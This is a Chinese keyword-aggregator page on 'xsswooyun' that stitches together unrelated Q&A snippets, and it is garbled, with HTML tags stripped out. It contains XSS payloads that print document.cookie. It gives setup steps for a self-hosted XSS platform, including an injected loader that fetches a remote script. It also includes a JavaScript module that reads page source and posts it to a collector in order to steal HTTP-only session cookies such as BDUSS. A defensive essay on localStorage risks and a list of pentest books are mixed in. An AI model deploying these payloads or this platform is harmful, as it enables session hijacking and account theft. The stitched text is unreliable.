xsswooyun的简单介绍

今日笑话 2022年09月21日

本文目录一览:

wooyun(乌云)平台接受 xss后cookie的工具是什么

这样用的 Chrome插件,或者明小子 啊D之类的修改cookie 或者桂林老兵的cookie欺骗工具也可以。

XSS小问题

page= ;alert(document.cookie);

你没有闭合双引号,导致;alert(document.cookie); 成了变量的值了

右键网页源码中如下:var page=";alert(document.cookie);";

正确答案其实有很多种只要闭合两端的引号 中间的js代码可以有多种变化。

";\u0061lert(document.cookie);"

";alert(document.cookie);//

这是很基础的问题

慢慢学 多去wooyun知识库看看

php怎么处理boundary

需要修改的地方比较多,目前已基本可用,还在学习摸索中。。。

1、将xssplatform.sql中的xsser.me/修改为实际使用的URL,如localhost:6666/xss/

或者导入以后,再进入数据库执行语句修改域名为自己的。

UPDATE oc_module SET

code=REPLACE(code,'','’)

2、修改themes\default\templates\register.html中的提交按钮的源码为:

[html] view plain copy

行53

input id="btnRegister" type="button" onclick="Register()" value="提交注册" /

修改为

input id="btnRegister" type="submit" value="提交注册" /

3、邀请码的生成

[html] view plain copy

(1)将文件source\user.php第10行和50行的权限控制注释掉

//if($user-userId=0) ShowError('未登录或已超时',$url['login'],'重新登录');

//if($user-adminLevel=0) ShowError('没有操作权限',URL_ROOT.'/index.php?do=useract=invite');

然后访问/index.php?do=useract=invite即可生成验证码

(2)注册个用户test,进入数据库,将该用户的adminLevel修改为1,然后去掉(1)中添加到注释;并在第15行case 'invite':处添加权限控制:

if($user-adminLevel=0) ShowError('没有操作权限',URL_ROOT.'/index.php');

(3)或者开放普通注册权限,修改文件/config.php的第18行

$config['register']='invite'; //normal,正常;invite,只允许邀请注册;close,关闭注册功能

4、删除cookie

[html] view plain copy

修改文件themes\default\templates\project_view.html中的Delete()和MultiDelete()函数,将其中post的URL修改为

'/xss/index.php?do=projectact=delcontentr=',即根据实际的服务器路径,在前面添加'/xss'

5、参考修改文件source\class\user.class.php

[html] view plain copy

行 74

$this-db-Execute("UPDATE ".$this-tbUser." SET loginTime='".time()."'");

修改为

$this-db-Execute("UPDATE ".$this-tbUser." SET loginTime='".time()."' where id={$row['id']}");

6、去掉xss URL中的time()动态值,缩短xss URL的长度(不知会不会有啥影响);

去掉使用提示中的/textarea'\"

[html] view plain copy

文件source/project.php中的修改:

//$codeurl=URL_ROOT."/{$project[urlKey]}?".time();

$codeurl=URL_ROOT."/{$project[urlKey]}";

//$scriptShow1=StripStr("textarea'"script src=".URL_ROOT."/{$project[urlKey]}?".time()."/script");

$scriptShow1=StripStr("script src=".URL_ROOT."/{$project[urlKey]}/script");

//$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}?".'"+Math.random();(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';

//$scriptShow2=StripStr("/textarea'\"img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//");

$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}".'";(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';

$scriptShow2=StripStr("img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//");

7、登录页面,回车登录;加载完页面后,自动将光标定位在user输入框

[html] view plain copy

文件themes/default/templates/login.html的修改:

!-- input type="submit" value="登录" onclick="Login()" --

input type="submit" value="登录" onclick="Login()"

在body的最后添加:

!-- 页面加载完成后,将光标定位到user输入框 --

scriptdocument.getElementById('user').focus();/script

8、修改提示页面跳转时间为500ms

[html] view plain copy

文件themes/default/templates/notice.html:

行11

setTimeout("location.href='{$notice.turnto}'",3000);

修改为

setTimeout("location.href='{$notice.turnto}'",500);

10、创建项目页面,自动将光标置于项目名称处

[html] view plain copy

themes/default/templates/project_create.html

行55,添加

scriptdocument.getElementById('title').focus();/script

11、rewrite规则

[html] view plain copy

在web根目录下建立.htaccess伪静态文件(仅针对Apache)

RewriteEngine On

RewriteRule ^([0-9a-zA-Z]{6})$ /xss/index.php?do=codeurlKey=$1 [L]

RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ /xss/index.php?do=doauth=$1domain=$3 [L]

RewriteRule ^register/(.*?)$ /xss/index.php?do=registerkey=$1 [L]

RewriteRule ^register-validate/(.*?)$ /xss/index.php?do=registeract=validatekey=$1 [L]

如何通过 XSS 获取受 http-only さcookie

该测试页返回了完整的http头,其中也包括了完整的cookie。混贴吧圈的应该都知道BDUSS是最关键的字段,同时该字段是受http-only保护的,百度SRC之前也因此下调了XSS的评分标准。

02.jpg

这样,我们只要利用XSS平台的"指定页面源码读取"模块即可通过XSS获取用户的完整cookie。该模块代码如下:

code 区域

var u = ';id={projectId}';

var cr;

if (document.charset) {

cr = document.charset

} else if (document.characterSet) {

cr = document.characterSet

};

function createXmlHttp() {

if (window.XMLHttpRequest) {

xmlHttp = new XMLHttpRequest()

} else {

var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');

for (var n = 0; n MSXML.length; n++) {

try {

xmlHttp = new ActiveXObject(MSXML[n]);

break

} catch(e) {}

}

}

}

createXmlHttp();

xmlHttp.onreadystatechange = writeSource;

xmlHttp.open("GET", "", true);

xmlHttp.send(null);

function postSource(cc) {

createXmlHttp();

url = u;

cc = "mycode=" + cc;

xmlHttp.open("POST", url, true);

xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xmlHttp.setRequestHeader("Content-length", cc.length);

xmlHttp.setRequestHeader("Connection", "close");

xmlHttp.send(cc)

}

function writeSource() {

if (xmlHttp.readyState == 4) {

var c = new postSource(xmlHttp.responseText)

}

}

由于是用xmlHttpRequest的形式读源码,且 的 Access-Control-Allow-Origin 为空,即默认不允许跨域,所以我们必须在同域下才能用xmlHttpRequest获取到完整的cookie。

我在 中有提到, 可以自由构造XSS。我们向该页面写入如下代码:

code 区域

titlewooyun.org/title

p超威蓝猫@wooyun.org/p

script src=;/script

html5 localstorage 怎么取存储条数

在HTML5本地存储出现以前,WEB数据存储的方法已经有很多,比如HTTP Cookie,IE userData,Flash Cookie,Google Gears。其实再说细点,浏览WEB的历史记录也算是本地存储的一种方式。到目前为止,HTML5本地存储方式已经获得了广泛的支持,其中支持的浏览器包括:IE 8+、FF 3.5+、Safari 4+、Chrome 4+、Opera 10.5+,手机平台包括iPhone 2+和Android 2+。最新的HTML5本地存储规范文档,可以在线查看

      HTML5本地存储的前身就是Cookie,通过使用localStorage对象将WEB数据持久留存在本地。相比较而言,HTML5本地存储中每个域的存储大小默认是5M,比起Cookie的4K要大的多。而且存储和读取数据的代码极为简练:

      那么现在我们是否可以简单的认为,HTML5存储已经可以代替Cookie存储了呢?还有这种新的存储方式在实际应用中带来了哪些新的安全风险呢?带着这些疑问我们来进行下面的讨论。

      (1) 是否可以代替Cookie

      浏览器使用Cookie进行身份验证已经好多年,既然现在localStorage存储空间那么大,是否可以把身份验证的数据直接移植过来呢?目前来看,把身份验证数据使用localStorage进行存储还不太成熟。我们知道,通常可以使用XSS漏洞来获取到Cookie,然后用这个Cookie进行身份验证登录。后来为了防止通过XSS获取Cookie数据,浏览器支持了使用HTTPONLY来保护Cookie不被XSS攻击获取到。而目前localStorage存储没有对XSS攻击有任何抵御机制,一旦出现XSS漏洞,那么存储在localStorage里的数据就极易被获取到。

如果一个网站存在XSS漏洞,那么攻击者注入如下代码,就可以获取使用localStorage存储在本地的所有信息。

 

      攻击者也可以简单的使用localStorage.removeItem(key)和localStorage.clear()对存储数据进行清空。

     (2) 不要存储敏感信息

      从(1)中知道,从远程攻击角度来看,localStorage存储的数据容易被XSS攻击获取,所以不宜把身份验证信息或敏感信息用localStorage存储。而从本地攻击角度来看, localStorage自身的存储方式和存储时效并不宜存储敏感信息。

      五大浏览器现在都已经支持以localStorage方式进行存储,其中Chrome,Opera,Safari这三款浏览器中都有了查看本地存储的功能模块。但是不同浏览器对localStorage存储方式还是略有不同的。以下是五大浏览器localStorage存储方式:

      

      通过上面的描述可以看出,除了Opera浏览器采用BASE64加密外(BASE64也是可以轻松解密的),其他浏览器均采用明文存储数据。

      另一方面,在数据存储的时效上,localStorage并不会像Cookie那样可以设置数据存活的时限,只要用户不主动删除,localStorage存储的数据将会永久存在。

      根据以上对存储方式和存储时效的分析,建议不要使用localStorage方式存储敏感信息,那怕这些信息进行过加密。

     (3) 严格过滤输入输出

      对于本地存储,为了方便加载数据,常常会把数据存储在本地,等再次加载时,直接从本地读取数据显示在网页上。在某些情况下,在localStorage存储中写入或读取数据的时候,如果数据没有经过输入输出严格过滤,那么这些数据极可能被作为HTML代码进行解析,从而产生XSS攻击。

      Twitter就发生过localStorage XSS漏洞。此漏洞触发的条件是,在Twitter的个人主页上执行以下存储代码后,每次再打开个人主页时就会弹出/xss/框。

      从这段代码可以看出,Twitter会使用localStorage方法把一些个人数据存储到本地,每次加载个人主页面的时候就会从本地存储获取数据,然后由于Twitter忽略了对去除数据的严格过滤,导致存储的代码会被当作HMTL编码执行,进而发生跨站攻击。

      有关Twitter localStorage XSS 漏洞详的细信息可以查看: wooyun-2010-03075。虽然Twitter这个漏洞利用起来非常困难,但它再一次告诉我们:本着一切输入输出都是有害的原则,要对数据进行严格的输入输出过滤。

     (4) 容易遭受跨目录攻击

      localStroage存储方式不会像Cookie存储一样可以指定域中的路径,在localStroage存储方式中没有域路径的概念。也就是说,如果同一个域下的任意路径存在XSS漏洞,整个域下存储的数据在知道存储名称的情况下都可以被获取到。

      假设下面两个链接是使用localStorage来存储数据:

      用户xisigr和xhack各自的blog链接虽然属于同一个域,但却有不同的路径,一个路径为xisigr,另一个路径为xhack。假设xisigr用户发现自己的路径下存在存储型XSS漏洞,那么就可以在自己的blog中加入获取数据代码,其中核心代码为localStorage.getItem(“name”)。xhack用户并不需要登录blog,他只要访问,本地存储数据就会被获取到。

     (5) 容易遭受DNS欺骗攻击

      Google在没有使用HTML5本地存储前,是使用Google Gears方式来进行本地存储的。那时Google Gears就遭到过DNS欺骗攻击。Google Gears支持离线存储,可以把Gmail,WordPresss这样的网站数据以SQLite数据库的形式存储下来,以后用户就可以对存储的网站数据进行离线读取或删除操作。如果攻击者发动DNS欺骗攻击,那么就可以注入本地数据库,获取数据或者留下永久的后门,造成对用户持久的危害。Google Gears所遭受的DNS欺骗攻击方式在HTML5本地存储上也是同样有效的。

     (6) 恶意代码栖息的温床

      在第六点中给出“恶意代码栖息的温床”这个小标题有些夸大的效果。其实这里想说的是,HTML5本地存储在空间上和时间上都将成为今后存储的趋势,料想“恶意代码们”自然会大雁南飞转移栖息到这张温床上。

      那么,何为HTML5本地存储的空间和时间呢?空间这里指的是存储空间,比起Cookie 4K空间的微小来说,HTML5的localStroage方法默认就可以使浏览器存储5M空间可以说是博大,而Safari浏览器可以支持到500M更加让HTML5存储霸气外露。时间上,随着HTML5技术日渐成熟,除了各大浏览器厂商争先在自己的产品中支持HTML5外,一些大应用软件厂商也对其信赖有加。比如2011年11月Adobe宣布放弃手机上的FLASH, 而由HTML5全面取而代之。随着时间的推移,HTML5大步流星的前行速度也会越来越快,也会使得用到HTML5本地存储的应用会越来越多。

 上面从理论上分析了 “恶意代码栖息的温床”的可能性。而从实际技术上的可行性也非常简单。下面是在本地留后门的核心代码:

     以上分析,均出自天融信TopLAB前沿安全实验室的研究,希望借此文让HTML5的本地存储安全问题得到大家的广泛重视。HTML5非常精彩,但也存在风险,我们要做的工作还很多。

渗透入门该看什么书和杂志?

看了两本风格和内容都比较类似的书《meteaploit渗透测试手册》和《metasploit渗透测试与开发实践指南》这两本书也都是从按照一般的渗透测试流程来进行内容的编排,从信息收集到Nmap主机和端口扫描、nessus漏洞扫描,msfconsole里常见辅助模块和攻击载荷的介绍和利用,到最后获得目标主机的meterpreter会话,meterpreter的基本命令和高级使用技巧,创建后门文件,对后门文件进行编码,metasploit中攻击载荷代码的分析和编写等等。虽然对攻击技术都没有较深入的研究和分析,但是对于刚刚接触渗透测试的人而言,可以快速的在脑中打下一个渗透测试基本的框架,而不是盲目的扫描、注入。

关键词: xsswooyun
我来说两句
黑客技术 2年前 (2022-09-22) | 回复
将会永久存在。      根据以上对存储方式和存储时效的分析,建议不要使用localStorage方式存储敏感信息,那怕这些信息进行过加密。     (3) 严格过滤输入输
黑客技术 2年前 (2022-09-22) | 回复
yTagName("HEAD")[0]||document.body).appendChild(b);'; //$scriptShow2=StripStr("/textarea'\"img s
黑客技术 2年前 (2022-09-21) | 回复
ml 行55,添加 scriptdocument.getElementById('title').focus();/script 11、rewrite规则[html] view plain copy在web根目录下建立.htaccess伪静态文件(仅针对Apache)